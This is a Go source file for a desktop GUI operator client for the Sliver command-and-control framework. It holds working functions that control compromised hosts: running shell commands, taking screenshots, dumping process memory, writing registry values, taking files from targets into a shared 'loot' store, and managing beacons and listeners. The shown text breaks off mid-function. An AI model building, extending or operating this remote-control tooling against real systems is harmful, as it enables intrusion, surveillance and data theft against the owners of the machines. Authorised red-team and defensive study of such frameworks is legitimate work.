Files
Mr-In4inci3le-sliver-gui/app.go
T

2527 lines
72 KiB
Go
Executable File

package main
import (
"bytes"
"compress/gzip"
"context"
"crypto/rand"
"encoding/base64"
"encoding/hex"
"fmt"
"io"
"net"
"os"
"path/filepath"
"strings"
"sync"
"time"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/wailsapp/wails/v2/pkg/runtime"
"google.golang.org/protobuf/proto"
"sliver-gui/internal/sliverclient"
)
type App struct {
ctx context.Context
mu sync.Mutex
client *sliverclient.Client
eventCancel context.CancelFunc
// Advanced tunneling state (SOCKS5 + port forwarding).
// Guarded by advMu, NOT mu, so we never deadlock with requireClient().
advMu sync.Mutex
socks map[string]*socksProxyHandle // sessionID -> active socks proxy
portfwds map[string][]*portfwdHandle // sessionID -> active port forwards
}
func NewApp() *App {
return &App{
socks: map[string]*socksProxyHandle{},
portfwds: map[string][]*portfwdHandle{},
}
}
func (a *App) startup(ctx context.Context) { a.ctx = ctx }
func (a *App) shutdown(ctx context.Context) {
a.mu.Lock()
defer a.mu.Unlock()
if a.eventCancel != nil {
a.eventCancel()
}
if a.client != nil {
a.client.Close()
}
}
// ─── Connection ───────────────────────────────────────────────────────────────
func (a *App) PickConfigFile() (string, error) {
return runtime.OpenFileDialog(a.ctx, runtime.OpenDialogOptions{
Title: "Select Sliver operator config (.cfg)",
Filters: []runtime.FileFilter{{DisplayName: "Sliver Config (*.cfg)", Pattern: "*.cfg"}},
})
}
type ConnectResult struct {
Connected bool `json:"connected"`
OperatorName string `json:"operatorName"`
Teamserver string `json:"teamserver"`
Error string `json:"error,omitempty"`
}
func (a *App) Connect(configPath string) ConnectResult {
cfg, err := sliverclient.LoadConfig(configPath)
if err != nil {
return ConnectResult{Error: err.Error()}
}
client, err := sliverclient.Connect(*cfg)
if err != nil {
return ConnectResult{Error: err.Error()}
}
a.mu.Lock()
if a.client != nil {
a.client.Close()
}
if a.eventCancel != nil {
a.eventCancel()
}
a.client = client
a.mu.Unlock()
a.startEventStream()
return ConnectResult{
Connected: true,
OperatorName: cfg.Operator,
Teamserver: fmt.Sprintf("%s:%d", cfg.LHost, cfg.LPort),
}
}
func (a *App) Disconnect() {
a.mu.Lock()
defer a.mu.Unlock()
if a.eventCancel != nil {
a.eventCancel()
a.eventCancel = nil
}
if a.client != nil {
a.client.Close()
a.client = nil
}
}
func (a *App) requireClient() (*sliverclient.Client, error) {
a.mu.Lock()
defer a.mu.Unlock()
if a.client == nil {
return nil, fmt.Errorf("not connected to a teamserver")
}
return a.client, nil
}
// ─── Event Stream ─────────────────────────────────────────────────────────────
func (a *App) startEventStream() {
a.mu.Lock()
streamCtx, cancel := context.WithCancel(a.ctx)
a.eventCancel = cancel
client := a.client
a.mu.Unlock()
go func() {
stream, err := client.RPC.Events(streamCtx, &commonpb.Empty{})
if err != nil {
runtime.EventsEmit(a.ctx, "sliver:disconnected", err.Error())
return
}
for {
event, err := stream.Recv()
if err != nil {
// The teamserver stream died — signal the frontend so it can
// show the reconnect overlay. Suppress if this was a clean
//, operator-initiated Disconnect() (context cancelled).
if streamCtx.Err() == nil {
runtime.EventsEmit(a.ctx, "sliver:disconnected", err.Error())
}
return
}
payload := map[string]interface{}{
"type": event.EventType,
"data": string(event.Data),
}
if event.Session != nil {
payload["session"] = map[string]interface{}{
"id": event.Session.ID,
"hostname": event.Session.Hostname,
"username": event.Session.Username,
"os": event.Session.OS,
"arch": event.Session.Arch,
}
}
// NOTE: clientpb.Event has no Beacon field in v1.7.3 — beacon
// events carry their payload in event.Data (already emitted above).
if event.Job != nil {
payload["job"] = map[string]interface{}{
"id": event.Job.ID,
"name": event.Job.Name,
}
}
runtime.EventsEmit(a.ctx, "sliver:event", payload)
}
}()
}
// ─── Version ─────────────────────────────────────────────────────────────────
type VersionInfo struct {
Major int32 `json:"major"`
Minor int32 `json:"minor"`
Patch int32 `json:"patch"`
Commit string `json:"commit"`
OS string `json:"os"`
Arch string `json:"arch"`
Compiled string `json:"compiled"`
}
func (a *App) GetVersion() (VersionInfo, error) {
client, err := a.requireClient()
if err != nil {
return VersionInfo{}, err
}
resp, err := client.RPC.GetVersion(a.ctx, &commonpb.Empty{})
if err != nil {
return VersionInfo{}, err
}
return VersionInfo{
Major: resp.Major,
Minor: resp.Minor,
Patch: resp.Patch,
Commit: resp.Commit,
OS: resp.OS,
Arch: resp.Arch,
Compiled: time.Unix(resp.CompiledAt, 0).UTC().Format("2006-01-02"),
}, nil
}
// ─── Sessions ────────────────────────────────────────────────────────────────
type SessionView struct {
ID string `json:"id"`
Name string `json:"name"`
Hostname string `json:"hostname"`
Username string `json:"username"`
OS string `json:"os"`
Arch string `json:"arch"`
Transport string `json:"transport"`
RemoteAddr string `json:"remoteAddress"`
LastCheckin string `json:"lastCheckin"`
PID int32 `json:"pid"`
IsDead bool `json:"isDead"`
}
func (a *App) ListSessions() ([]SessionView, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
sessions, err := client.ListSessions(a.ctx)
if err != nil {
return nil, err
}
out := make([]SessionView, 0, len(sessions))
for _, s := range sessions {
out = append(out, sessionToView(s))
}
return out, nil
}
func sessionToView(s *clientpb.Session) SessionView {
return SessionView{
ID: s.ID,
Name: s.Name,
Hostname: s.Hostname,
Username: s.Username,
OS: s.OS,
Arch: s.Arch,
Transport: s.Transport,
RemoteAddr: s.RemoteAddress,
LastCheckin: time.Unix(s.LastCheckin, 0).Format("15:04:05"),
PID: s.PID,
IsDead: s.IsDead,
}
}
func (a *App) RenameSession(sessionID, newName string) error {
client, err := a.requireClient()
if err != nil {
return err
}
return client.RenameSession(a.ctx, sessionID, newName)
}
func (a *App) KillSession(sessionID string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.Kill(a.ctx, &sliverpb.KillReq{
Force: false,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// ─── Execute ─────────────────────────────────────────────────────────────────
type ExecResult struct {
Stdout string `json:"stdout"`
Stderr string `json:"stderr"`
Status uint32 `json:"status"`
Error string `json:"error,omitempty"`
}
func (a *App) ExecuteCommand(sessionID, command string) ExecResult {
client, err := a.requireClient()
if err != nil {
return ExecResult{Error: err.Error()}
}
sessions, _ := client.ListSessions(a.ctx)
var sessionOS string
for _, s := range sessions {
if s.ID == sessionID {
sessionOS = strings.ToLower(s.OS)
break
}
}
var exePath string
var args []string
if strings.Contains(sessionOS, "windows") {
exePath = "cmd.exe"
args = []string{"/c", command}
} else {
exePath = "/bin/sh"
args = []string{"-c", command}
}
resp, err := client.RPC.Execute(a.ctx, &sliverpb.ExecuteReq{
Path: exePath,
Args: args,
Output: true,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return ExecResult{Error: err.Error()}
}
return ExecResult{
Stdout: string(resp.Stdout),
Stderr: string(resp.Stderr),
Status: resp.Status,
}
}
// RunExecute runs a program on the target directly (Sliver's `execute`), without
// wrapping it in a shell. Use this for `execute <path> [args...]`.
func (a *App) RunExecute(sessionID, path string, args []string) ExecResult {
client, err := a.requireClient()
if err != nil {
return ExecResult{Error: err.Error()}
}
resp, err := client.RPC.Execute(a.ctx, &sliverpb.ExecuteReq{
Path: path,
Args: args,
Output: true,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return ExecResult{Error: err.Error()}
}
return ExecResult{Stdout: string(resp.Stdout), Stderr: string(resp.Stderr), Status: resp.Status}
}
// ─── Screenshot ──────────────────────────────────────────────────────────────
func (a *App) TakeScreenshot(sessionID string) (string, error) {
client, err := a.requireClient()
if err != nil {
return "", err
}
resp, err := client.RPC.Screenshot(a.ctx, &sliverpb.ScreenshotReq{
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return "", err
}
return "data:image/png;base64," + base64.StdEncoding.EncodeToString(resp.Data), nil
}
// ─── Process List ────────────────────────────────────────────────────────────
type ProcessView struct {
PID int32 `json:"pid"`
PPID int32 `json:"ppid"`
Executable string `json:"executable"`
Owner string `json:"owner"`
Arch string `json:"arch"`
CmdLine string `json:"cmdLine"`
}
func (a *App) GetProcessList(sessionID string) ([]ProcessView, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.Ps(a.ctx, &sliverpb.PsReq{
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return nil, err
}
out := make([]ProcessView, 0, len(resp.Processes))
for _, p := range resp.Processes {
out = append(out, ProcessView{
PID: p.Pid,
PPID: p.Ppid,
Executable: p.Executable,
Owner: p.Owner,
Arch: p.Architecture,
CmdLine: strings.Join(p.CmdLine, " "),
})
}
return out, nil
}
func (a *App) KillRemoteProcess(sessionID string, pid uint32) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.Terminate(a.ctx, &sliverpb.TerminateReq{
Pid: int32(pid),
Force: false,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// ─── Netstat ─────────────────────────────────────────────────────────────────
type NetstatEntry struct {
LocalAddr string `json:"localAddr"`
RemoteAddr string `json:"remoteAddr"`
Protocol string `json:"protocol"`
State string `json:"state"`
PID uint32 `json:"pid"`
Process string `json:"process"`
}
func (a *App) GetNetstat(sessionID string) ([]NetstatEntry, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.Netstat(a.ctx, &sliverpb.NetstatReq{
TCP: true,
UDP: true,
IP4: true,
IP6: true,
Listening: true,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return nil, err
}
out := make([]NetstatEntry, 0, len(resp.Entries))
for _, e := range resp.Entries {
local, remote := "", ""
if e.LocalAddr != nil {
local = fmt.Sprintf("%s:%d", e.LocalAddr.Ip, e.LocalAddr.Port)
}
if e.RemoteAddr != nil {
remote = fmt.Sprintf("%s:%d", e.RemoteAddr.Ip, e.RemoteAddr.Port)
}
var pid uint32
var proc string
if e.Process != nil {
pid = uint32(e.Process.Pid)
proc = e.Process.Executable
}
out = append(out, NetstatEntry{
LocalAddr: local,
RemoteAddr: remote,
Protocol: e.Protocol,
State: e.SkState,
PID: pid,
Process: proc,
})
}
return out, nil
}
// ─── Env Vars ────────────────────────────────────────────────────────────────
type EnvVar struct {
Key string `json:"key"`
Value string `json:"value"`
}
func (a *App) GetEnvVars(sessionID string) ([]EnvVar, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.GetEnv(a.ctx, &sliverpb.EnvReq{
Name: "",
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return nil, err
}
out := make([]EnvVar, 0, len(resp.Variables))
for _, v := range resp.Variables {
out = append(out, EnvVar{Key: v.Key, Value: v.Value})
}
return out, nil
}
func (a *App) SetEnvVar(sessionID, key, value string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.SetEnv(a.ctx, &sliverpb.SetEnvReq{
Variable: &commonpb.EnvVar{Key: key, Value: value},
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
func (a *App) UnsetEnvVar(sessionID, key string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.UnsetEnv(a.ctx, &sliverpb.UnsetEnvReq{
Name: key,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// ─── Registry (Windows) ──────────────────────────────────────────────────────
type RegistryKey struct {
Name string `json:"name"`
}
type RegistryValue struct {
Name string `json:"name"`
Type string `json:"type"`
Value string `json:"value"`
}
func (a *App) RegistryListSubKeys(sessionID, hive, path string) ([]string, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.RegistryListSubKeys(a.ctx, &sliverpb.RegistrySubKeyListReq{
Hive: hive,
Path: path,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return nil, err
}
return resp.Subkeys, nil
}
// hiveToRegQuery maps the short hive names used in the UI to the full names
// that reg.exe expects.
var hiveToRegQuery = map[string]string{
"HKLM": "HKEY_LOCAL_MACHINE",
"HKCU": "HKEY_CURRENT_USER",
"HKCR": "HKEY_CLASSES_ROOT",
"HKU": "HKEY_USERS",
"HKCC": "HKEY_CURRENT_CONFIG",
}
// RegistryListValues: the RegistryListValues RPC only returns value *names*
// (RegistryValuesList.ValueNames) in v1.7.3 — no types or data. To show
// name/type/value we fall back to `reg query` via Execute and parse its output.
func (a *App) RegistryListValues(sessionID, hive, path string) ([]RegistryValue, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
fullHive := hiveToRegQuery[strings.ToUpper(hive)]
if fullHive == "" {
fullHive = hive
}
keyPath := fullHive
if path != "" {
keyPath = fullHive + "\\" + strings.Trim(path, "\\")
}
resp, err := client.RPC.Execute(a.ctx, &sliverpb.ExecuteReq{
Path: "reg.exe",
Args: []string{"query", keyPath},
Output: true,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return nil, err
}
out := []RegistryValue{}
lines := strings.Split(strings.ReplaceAll(string(resp.Stdout), "\r\n", "\n"), "\n")
for _, line := range lines {
// Value rows are indented; reg.exe separates columns with 4 spaces.
if !strings.HasPrefix(line, " ") {
continue
}
cols := strings.SplitN(strings.TrimLeft(line, " "), " ", 3)
if len(cols) < 3 {
continue
}
out = append(out, RegistryValue{
Name: strings.TrimSpace(cols[0]),
Type: strings.TrimSpace(cols[1]),
Value: strings.TrimSpace(cols[2]),
})
}
return out, nil
}
func (a *App) RegistryReadValue(sessionID, hive, path, key string) (string, error) {
client, err := a.requireClient()
if err != nil {
return "", err
}
resp, err := client.RPC.RegistryRead(a.ctx, &sliverpb.RegistryReadReq{
Hive: hive,
Path: path,
Key: key,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return "", err
}
return resp.Value, nil
}
func (a *App) RegistryWriteValue(sessionID, hive, path, key, value string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.RegistryWrite(a.ctx, &sliverpb.RegistryWriteReq{
Hive: hive,
Path: path,
Key: key,
StringValue: value,
Type: 1, // RegistryWriteReq.Type is uint32; 1 == REG_SZ
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
func (a *App) RegistryCreateKey(sessionID, hive, path, key string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.RegistryCreateKey(a.ctx, &sliverpb.RegistryCreateKeyReq{
Hive: hive,
Path: path,
Key: key,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
func (a *App) RegistryDeleteKey(sessionID, hive, path, key string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.RegistryDeleteKey(a.ctx, &sliverpb.RegistryDeleteKeyReq{
Hive: hive,
Path: path,
Key: key,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// ─── File Browser ────────────────────────────────────────────────────────────
type LsResult struct {
Path string `json:"path"`
Files []FileInfo `json:"files"`
Error string `json:"error,omitempty"`
}
type FileInfo struct {
Name string `json:"name"`
IsDir bool `json:"isDir"`
Size int64 `json:"size"`
Mode string `json:"mode"`
}
func (a *App) ListFiles(sessionID, path string) LsResult {
client, err := a.requireClient()
if err != nil {
return LsResult{Error: err.Error()}
}
if path == "" {
path = "."
}
resp, err := client.RPC.Ls(a.ctx, &sliverpb.LsReq{
Path: path,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return LsResult{Error: err.Error()}
}
files := make([]FileInfo, 0, len(resp.Files))
for _, f := range resp.Files {
files = append(files, FileInfo{Name: f.Name, IsDir: f.IsDir, Size: f.Size, Mode: f.Mode})
}
return LsResult{Path: resp.Path, Files: files}
}
func (a *App) MakeDirectory(sessionID, path string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.Mkdir(a.ctx, &sliverpb.MkdirReq{
Path: path,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// ChangeDir changes the implant's working directory (real Cd RPC) and returns
// the new absolute path.
func (a *App) ChangeDir(sessionID, path string) (string, error) {
client, err := a.requireClient()
if err != nil {
return "", err
}
resp, err := client.RPC.Cd(a.ctx, &sliverpb.CdReq{
Path: path,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return "", err
}
return resp.Path, nil
}
// PrintWorkingDir returns the implant's current working directory (real Pwd RPC).
func (a *App) PrintWorkingDir(sessionID string) (string, error) {
client, err := a.requireClient()
if err != nil {
return "", err
}
resp, err := client.RPC.Pwd(a.ctx, &sliverpb.PwdReq{
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return "", err
}
return resp.Path, nil
}
func (a *App) MoveFile(sessionID, src, dst string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.Mv(a.ctx, &sliverpb.MvReq{
Src: src,
Dst: dst,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
func (a *App) CopyFile(sessionID, src, dst string) (int64, error) {
client, err := a.requireClient()
if err != nil {
return 0, err
}
resp, err := client.RPC.Cp(a.ctx, &sliverpb.CpReq{
Src: src,
Dst: dst,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return 0, err
}
return resp.BytesWritten, nil
}
// ReadRemoteFile downloads a file and returns its contents as text (for `cat`).
func (a *App) ReadRemoteFile(sessionID, path string) (string, error) {
client, err := a.requireClient()
if err != nil {
return "", err
}
resp, err := client.RPC.Download(a.ctx, &sliverpb.DownloadReq{
Path: path,
RestrictedToFile: true,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return "", err
}
if resp.IsDir {
return "", fmt.Errorf("%s is a directory", path)
}
data, err := decodeDownload(resp)
if err != nil {
return "", err
}
return string(data), nil
}
// ─── Network / Privileges / Memory ─────────────────────────────────────────────
type NetInterfaceView struct {
Name string `json:"name"`
MAC string `json:"mac"`
IPs []string `json:"ips"`
}
func (a *App) Ifconfig(sessionID string) ([]NetInterfaceView, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.Ifconfig(a.ctx, &sliverpb.IfconfigReq{
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return nil, err
}
out := make([]NetInterfaceView, 0, len(resp.NetInterfaces))
for _, ni := range resp.NetInterfaces {
out = append(out, NetInterfaceView{Name: ni.Name, MAC: ni.MAC, IPs: ni.IPAddresses})
}
return out, nil
}
type PrivEntry struct {
Name string `json:"name"`
Description string `json:"description"`
Enabled bool `json:"enabled"`
}
type PrivsResult struct {
Integrity string `json:"integrity"`
ProcessName string `json:"processName"`
Privs []PrivEntry `json:"privs"`
}
func (a *App) GetPrivs(sessionID string) (PrivsResult, error) {
client, err := a.requireClient()
if err != nil {
return PrivsResult{}, err
}
resp, err := client.RPC.GetPrivs(a.ctx, &sliverpb.GetPrivsReq{
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return PrivsResult{}, err
}
out := PrivsResult{Integrity: resp.ProcessIntegrity, ProcessName: resp.ProcessName}
for _, p := range resp.PrivInfo {
out.Privs = append(out.Privs, PrivEntry{Name: p.Name, Description: p.Description, Enabled: p.Enabled})
}
return out, nil
}
// ProcessDump dumps a process's memory and saves it via a native dialog.
func (a *App) ProcessDump(sessionID string, pid int32) TransferResult {
client, err := a.requireClient()
if err != nil {
return TransferResult{Error: err.Error()}
}
resp, err := client.RPC.ProcessDump(a.ctx, &sliverpb.ProcessDumpReq{
Pid: pid,
Timeout: 30,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return TransferResult{Error: err.Error()}
}
savePath, err := runtime.SaveFileDialog(a.ctx, runtime.SaveDialogOptions{
DefaultFilename: fmt.Sprintf("procdump_%d.dmp", pid),
Title: "Save process dump",
})
if err != nil || savePath == "" {
return TransferResult{Error: "save cancelled"}
}
if err := os.WriteFile(savePath, resp.Data, 0644); err != nil {
return TransferResult{Error: err.Error()}
}
return TransferResult{Path: savePath, Bytes: int64(len(resp.Data))}
}
func (a *App) RemoveFile(sessionID, path string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.Rm(a.ctx, &sliverpb.RmReq{
Path: path,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// ─── File Transfers ──────────────────────────────────────────────────────────
type TransferResult struct {
Path string `json:"path"`
Bytes int64 `json:"bytes"`
Error string `json:"error,omitempty"`
}
func (a *App) DownloadFile(sessionID, remotePath string) TransferResult {
client, err := a.requireClient()
if err != nil {
return TransferResult{Error: err.Error()}
}
resp, err := client.RPC.Download(a.ctx, &sliverpb.DownloadReq{
Path: remotePath,
RestrictedToFile: true,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return TransferResult{Error: err.Error()}
}
data, err := decodeDownload(resp)
if err != nil {
return TransferResult{Error: "decode: " + err.Error()}
}
savePath, err := runtime.SaveFileDialog(a.ctx, runtime.SaveDialogOptions{
DefaultFilename: filepath.Base(remotePath),
Title: "Save downloaded file",
})
if err != nil || savePath == "" {
return TransferResult{Error: "save cancelled"}
}
if err := os.WriteFile(savePath, data, 0644); err != nil {
return TransferResult{Error: err.Error()}
}
return TransferResult{Path: savePath, Bytes: int64(len(data))}
}
// decodeDownload returns the file bytes from a Download response, transparently
// gunzipping when the implant gzip-encoded the payload (resp.Encoder == "gzip").
func decodeDownload(resp *sliverpb.Download) ([]byte, error) {
if resp.Encoder == "gzip" {
gz, err := gzip.NewReader(bytes.NewReader(resp.Data))
if err != nil {
return nil, err
}
defer gz.Close()
return io.ReadAll(gz)
}
return resp.Data, nil
}
func (a *App) UploadFile(sessionID, remotePath string) TransferResult {
client, err := a.requireClient()
if err != nil {
return TransferResult{Error: err.Error()}
}
localPath, err := runtime.OpenFileDialog(a.ctx, runtime.OpenDialogOptions{
Title: "Select file to upload",
})
if err != nil || localPath == "" {
return TransferResult{Error: "upload cancelled"}
}
data, err := os.ReadFile(localPath)
if err != nil {
return TransferResult{Error: err.Error()}
}
target := remotePath
if target == "" {
target = filepath.Base(localPath)
}
_, err = client.RPC.Upload(a.ctx, &sliverpb.UploadReq{
Path: target,
Data: data,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return TransferResult{Error: err.Error()}
}
return TransferResult{Path: target, Bytes: int64(len(data))}
}
// UploadFileFrom uploads a specific local file (on the operator machine) to a
// remote path — CLI-style `upload <local> <remote>`, no file dialog.
func (a *App) UploadFileFrom(sessionID, localPath, remotePath string) TransferResult {
client, err := a.requireClient()
if err != nil {
return TransferResult{Error: err.Error()}
}
data, err := os.ReadFile(localPath)
if err != nil {
return TransferResult{Error: "read local file: " + err.Error()}
}
target := remotePath
if target == "" {
target = filepath.Base(localPath)
}
_, err = client.RPC.Upload(a.ctx, &sliverpb.UploadReq{
Path: target,
Data: data,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return TransferResult{Error: err.Error()}
}
return TransferResult{Path: target, Bytes: int64(len(data))}
}
// DownloadFileTo downloads a remote file straight to a local path — CLI-style
// `download <remote> <local>`, no save dialog.
func (a *App) DownloadFileTo(sessionID, remotePath, localPath string) TransferResult {
client, err := a.requireClient()
if err != nil {
return TransferResult{Error: err.Error()}
}
resp, err := client.RPC.Download(a.ctx, &sliverpb.DownloadReq{
Path: remotePath,
RestrictedToFile: true,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return TransferResult{Error: err.Error()}
}
data, err := decodeDownload(resp)
if err != nil {
return TransferResult{Error: "decode: " + err.Error()}
}
if err := os.WriteFile(localPath, data, 0644); err != nil {
return TransferResult{Error: "write local file: " + err.Error()}
}
return TransferResult{Path: localPath, Bytes: int64(len(data))}
}
// ─── Loot ────────────────────────────────────────────────────────────────────
type LootView struct {
ID string `json:"id"`
Name string `json:"name"`
Type string `json:"type"`
}
func (a *App) GetLoot() ([]LootView, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.LootAll(a.ctx, &commonpb.Empty{})
if err != nil {
return nil, err
}
out := make([]LootView, 0, len(resp.Loot))
for _, l := range resp.Loot {
// clientpb.Loot has no Type/Credential field in v1.7.3 — only FileType.
out = append(out, LootView{ID: l.ID, Name: l.Name, Type: l.FileType.String()})
}
return out, nil
}
func (a *App) DeleteLoot(lootID string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.LootRm(a.ctx, &clientpb.Loot{ID: lootID})
return err
}
// LootFile downloads a file from a session and saves it into the teamserver's
// shared loot store (Sliver's `download --loot`). It's now available to every
// operator on the team, and survives the session.
func (a *App) LootFile(sessionID, remotePath string) error {
client, err := a.requireClient()
if err != nil {
return err
}
resp, err := client.RPC.Download(a.ctx, &sliverpb.DownloadReq{
Path: remotePath,
RestrictedToFile: true,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return err
}
if resp.IsDir {
return fmt.Errorf("%s is a directory — loot a single file", remotePath)
}
data, err := decodeDownload(resp)
if err != nil {
return err
}
base := filepath.Base(remotePath)
_, err = client.RPC.LootAdd(a.ctx, &clientpb.Loot{
Name: base,
File: &commonpb.File{Name: base, Data: data},
})
return err
}
// DownloadLoot fetches a loot item's content from the teamserver and saves it
// locally via a native dialog (Sliver's `loot fetch`).
func (a *App) DownloadLoot(lootID string) TransferResult {
client, err := a.requireClient()
if err != nil {
return TransferResult{Error: err.Error()}
}
resp, err := client.RPC.LootContent(a.ctx, &clientpb.Loot{ID: lootID})
if err != nil {
return TransferResult{Error: err.Error()}
}
if resp.File == nil {
return TransferResult{Error: "this loot item has no file content"}
}
savePath, err := runtime.SaveFileDialog(a.ctx, runtime.SaveDialogOptions{
DefaultFilename: resp.File.Name,
Title: "Save loot",
})
if err != nil || savePath == "" {
return TransferResult{Error: "save cancelled"}
}
if err := os.WriteFile(savePath, resp.File.Data, 0644); err != nil {
return TransferResult{Error: err.Error()}
}
return TransferResult{Path: savePath, Bytes: int64(len(resp.File.Data))}
}
// ─── Build History ────────────────────────────────────────────────────────────
type BuildView struct {
Name string `json:"name"`
GOOS string `json:"goos"`
GOARCH string `json:"goarch"`
Format string `json:"format"`
Debug bool `json:"debug"`
C2URLs []string `json:"c2Urls"`
}
func (a *App) GetBuildHistory() ([]BuildView, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.ImplantBuilds(a.ctx, &commonpb.Empty{})
if err != nil {
return nil, err
}
out := make([]BuildView, 0, len(resp.Configs))
for name, cfg := range resp.Configs {
urls := make([]string, 0, len(cfg.C2))
for _, c := range cfg.C2 {
urls = append(urls, c.URL)
}
out = append(out, BuildView{
Name: name,
GOOS: cfg.GOOS,
GOARCH: cfg.GOARCH,
Format: cfg.Format.String(),
Debug: cfg.Debug,
C2URLs: urls,
})
}
return out, nil
}
// DeleteBuild removes a saved implant build from the teamserver by name. Useful
// for clearing a stale record (e.g. a build that saved server-side but failed to
// download) that would otherwise trip the UNIQUE name constraint on regenerate.
func (a *App) DeleteBuild(name string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.DeleteImplantBuild(a.ctx, &clientpb.DeleteReq{Name: name})
return err
}
// ─── Beacons ─────────────────────────────────────────────────────────────────
type BeaconView struct {
ID string `json:"id"`
Name string `json:"name"`
Hostname string `json:"hostname"`
Username string `json:"username"`
OS string `json:"os"`
Arch string `json:"arch"`
Transport string `json:"transport"`
RemoteAddr string `json:"remoteAddress"`
PID int32 `json:"pid"`
Interval int64 `json:"interval"`
Jitter int64 `json:"jitter"`
LastCheckin string `json:"lastCheckin"`
NextCheckin string `json:"nextCheckin"`
IsDead bool `json:"isDead"`
}
func (a *App) ListBeacons() ([]BeaconView, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.GetBeacons(a.ctx, &commonpb.Empty{})
if err != nil {
return nil, err
}
out := make([]BeaconView, 0, len(resp.Beacons))
for _, b := range resp.Beacons {
out = append(out, BeaconView{
ID: b.ID,
Name: b.Name,
Hostname: b.Hostname,
Username: b.Username,
OS: b.OS,
Arch: b.Arch,
Transport: b.Transport,
RemoteAddr: b.RemoteAddress,
PID: b.PID,
Interval: b.Interval,
Jitter: b.Jitter,
LastCheckin: time.Unix(b.LastCheckin, 0).Format("15:04:05"),
NextCheckin: time.Unix(b.NextCheckin, 0).Format("15:04:05"),
IsDead: b.IsDead,
})
}
return out, nil
}
func (a *App) KillBeacon(beaconID string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.RmBeacon(a.ctx, &clientpb.Beacon{ID: beaconID})
return err
}
// ─── Operators ────────────────────────────────────────────────────────────────
type OperatorView struct {
Name string `json:"name"`
Online bool `json:"online"`
}
func (a *App) ListOperators() ([]OperatorView, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
ops, err := client.ListOperators(a.ctx)
if err != nil {
return nil, err
}
out := make([]OperatorView, 0, len(ops))
for _, o := range ops {
out = append(out, OperatorView{Name: o.Name, Online: o.Online})
}
return out, nil
}
// ─── Listeners / Jobs ─────────────────────────────────────────────────────────
type JobView struct {
ID uint32 `json:"id"`
Name string `json:"name"`
Protocol string `json:"protocol"`
Port uint32 `json:"port"`
}
func (a *App) ListJobs() ([]JobView, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.GetJobs(a.ctx, &commonpb.Empty{})
if err != nil {
return nil, err
}
out := make([]JobView, 0, len(resp.Active))
for _, j := range resp.Active {
out = append(out, JobView{ID: j.ID, Name: j.Name, Protocol: j.Protocol, Port: j.Port})
}
return out, nil
}
func (a *App) KillJob(jobID uint32) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.KillJob(a.ctx, &clientpb.KillJobReq{ID: jobID})
return err
}
type StartMTLSReq struct {
Host string `json:"host"`
Port uint32 `json:"port"`
}
func (a *App) StartMTLSListener(req StartMTLSReq) error {
client, err := a.requireClient()
if err != nil {
return err
}
